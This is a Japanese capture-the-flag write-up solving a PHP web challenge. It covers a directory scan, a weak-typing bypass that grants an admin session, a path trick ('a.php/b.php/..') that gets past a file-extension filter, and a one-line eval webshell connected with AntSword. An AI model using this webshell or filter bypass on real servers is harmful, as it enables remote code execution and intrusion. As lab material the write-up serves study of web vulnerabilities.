記事のディレクトリ
1ソースコード監査
ウェブサイトを開いて体験したところ、「プロジェクト管理」の位置をクリックすると、入力するとウェブページのソースコードが表示されることがわかりました。F12を使用した後、他の異常はありません。dirsearchを使用してディレクトリをスキャンします
[10:11:59] 302 - 1KB - /index.php -> ?page=flag.php
[10:11:59] 200 - 74B - /flag.php
[10:11:59] 200 - 0B - /config.php
[10:11:59] 200 - 5KB - /index.html
ウェブサイトのソースコードを大まかに分析し、コメントを付けます。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
// 设置未page参数
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
// 设置page参数,并且page不等于index.php
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
} else {
header('Location: ?page=flag.php');
}
?>
<!-- page和id的表单 -->
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/" . $file;
if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)) {
die("Bad file extension");
} else {
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
// 设置id参数、id不等于1、id的倒数第一个位置为9
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql = "select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if (!$result) die("<br >something wae wrong ! <br>");
if ($result) {
echo "id: " . $result->id . "</br>";
echo "name:" . $result->user . "</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
分析後、ソースコードは次の3つの部分に分けることができます。
- フラグファイルが含まれています。
page
パラメータを調整する必要があります - ファイル書き込みを行います。調整する必要がある
$_SESSION['admin']
、$_POST['con']
、$_POST['file']
三つのパラメータ。 $_SESSION['admin']
trueに設定されます。id
パラメータを調整する
2php弱いタイプ
$_SESSION['admin']=true
最初に作成する必要があるため、3番目の部分が最初に処理されます。
- Floatval関数:変数の浮動小数点値を取得します。
floatval関数が文字列を検出すると、次のコンテンツを自動的に切り捨てます。
- substr関数:文字列の一部を返します
substrが負の数の場合、配列の後ろから前に出力されます。
したがってid=1 9
、1と9の間にスペースがあります。
3phpアップロードサフィックスバイパス
通常のファイルをアップロードしてみてください。
次に、/uploaded/backup
ディレクトリを入力して1.txtを表示します。
次に、Linuxの機能を使用してサフィックスをバイパスする必要があります。名前が付けられたファイル名はa.php/b.php/..
、予期しない結果をもたらします。
<?php
$filename = 'a.php/b.php/..';
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
この種のファイル名はphpでa.phpとして解析され(最初にフォルダーを確認して確認しa.php
、b.php
それ..
を使用すると前のフォルダーに戻ります)、プログラムは最後にa.phpを作成します。
上記の結論に基づいて、それcon
はfile
phpの内容とphpファイルの名前です。ファイル名に名前を付けa.php/b.php/..
、次のように構成します。
最後にhttp://220.249.52.134:46528/uploaded/backup/a.phpにアクセスします。
最後に、文章を書き、AntSwordを使用して接続します。
con=<?php @eval($_POST[pwd]);?>&&file=b.php/b.php/..
最後に、フラグはコマンドで見つけることができます。